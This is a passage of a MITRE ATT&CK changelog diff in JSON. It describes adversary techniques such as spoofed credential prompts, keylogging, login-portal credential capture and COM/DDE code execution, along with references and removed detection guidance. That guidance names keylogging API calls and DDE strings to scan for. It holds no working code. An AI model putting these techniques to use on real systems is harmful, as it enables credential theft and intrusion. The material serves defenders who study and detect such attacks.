+ "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Metadata)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0139: Detection of Credential Harvesting via API Hooking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:58:45.908000+00:00", + "modified": "2025-10-24 17:49:10.643000+00:00", + "name": "GUI Input Capture", + "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056/002", + "external_id": "T1056.002" + }, + { + "source_name": "LogRhythm Do You Trust Oct 2014", + "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.", + "url": "https://logrhythm.com/blog/do-you-trust-your-computer/" + }, + { + "source_name": "Spoofing credential dialogs", + "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.", + "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "Enigma Phishing for Credentials Jan 2015", + "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.", + "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/" + }, + { + "source_name": "OSX Malware Exploits MacKeeper", + "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.", + "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthew Molyett, @s1air, Cisco Talos" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.643000+00:00\", \"old_value\": \"2025-04-15 22:37:16.582000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n\\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n-\\n-Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1017: User Training" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0521: Behavioral Detection of Spoofed GUI Credential Prompts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:58:11.791000+00:00", + "modified": "2025-10-24 17:48:21.756000+00:00", + "name": "Keylogging", + "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056/001", + "external_id": "T1056.001" + }, + { + "source_name": "Talos Kimsuky Nov 2021", + "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.", + "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "Adventures of a Keystroke", + "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", + "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "TruKno" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.756000+00:00\", \"old_value\": \"2025-04-15 19:58:03.923000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0089: Behavioral Detection of Keylogging Activity Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:59:50.058000+00:00", + "modified": "2025-10-24 17:48:54.254000+00:00", + "name": "Web Portal Capture", + "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056/003", + "external_id": "T1056.003" + }, + { + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.254000+00:00\", \"old_value\": \"2025-04-15 19:58:38.649000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0480: Detection of Credential Harvesting via Web Portal Modification" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 14:08:48.689000+00:00", + "modified": "2025-10-24 17:49:13.194000+00:00", + "name": "Inter-Process Communication", + "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1559", + "external_id": "T1559" + }, + { + "source_name": "Fireeye Hunting COM June 2019", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" + }, + { + "source_name": "Linux IPC", + "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.", + "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Process: Process Creation\", \"Script: Script Execution\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.194000+00:00\", \"old_value\": \"2025-04-15 19:58:57.325000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1048: Application Isolation and Sandboxing", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0493: Detect Abuse of Inter-Process Communication (T1559)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 14:09:53.107000+00:00", + "modified": "2025-10-24 17:48:35.814000+00:00", + "name": "Component Object Model", + "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1559/001", + "external_id": "T1559.001" + }, + { + "source_name": "ProjectZero File Write EoP Apr 2018", + "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", + "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html" + }, + { + "source_name": "Fireeye Hunting COM June 2019", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Enigma MMC20 COM Jan 2017", + "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" + }, + { + "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", + "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Script: Script Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.814000+00:00\", \"old_value\": \"2025-04-25 14:46:14.161000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\\n\\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\\n-\\n-Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1048: Application Isolation and Sandboxing" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0224: Detect Abuse of Component Object Model (T1559.001)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 14:10:50.699000+00:00", + "modified": "2025-10-24 17:48:31.581000+00:00", + "name": "Dynamic Data Exchange", + "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1559/002", + "external_id": "T1559.002" + }, + { + "source_name": "OWASP CSV Injection", + "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.", + "url": "https://owasp.org/www-community/attacks/CSV_Injection" + }, + { + "source_name": "CSV Excel Macro Injection ", + "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.", + "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "SensePost PS DDE May 2016", + "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", + "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/" + }, + { + "source_name": "Fireeye Hunting COM June 2019", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" + }, + { + "source_name": "Kettle CSV DDE Aug 2014", + "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", + "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + }, + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "NVisio Labs DDE Detection Oct 2017", + "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", + "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" + }, + { + "source_name": "SensePost MacroLess DDE Oct 2017", + "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", + "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Module: Module Load\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.581000+00:00\", \"old_value\": \"2025-04-16 20:37:15.927000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\\n\\nOLE, Office Open XML, CSV, and other files can be scanned for \\u2018DDEAUTO', \\u2018DDE\\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\\n-\\n-OLE, Office Open XML, CSV, and other files can be scanned for \\u2018DDEAUTO', \\u2018DDE\\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1048: Application Isolation and Sandboxing", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0504: Detect Abuse of Dynamic Data Exchange (T1559.002)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-04 19:26:12.441000+00:00", + "modified": "2025-10-24 17:49:09.394000+00:00", + "name": "Internal Spearphishing", + "description": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling 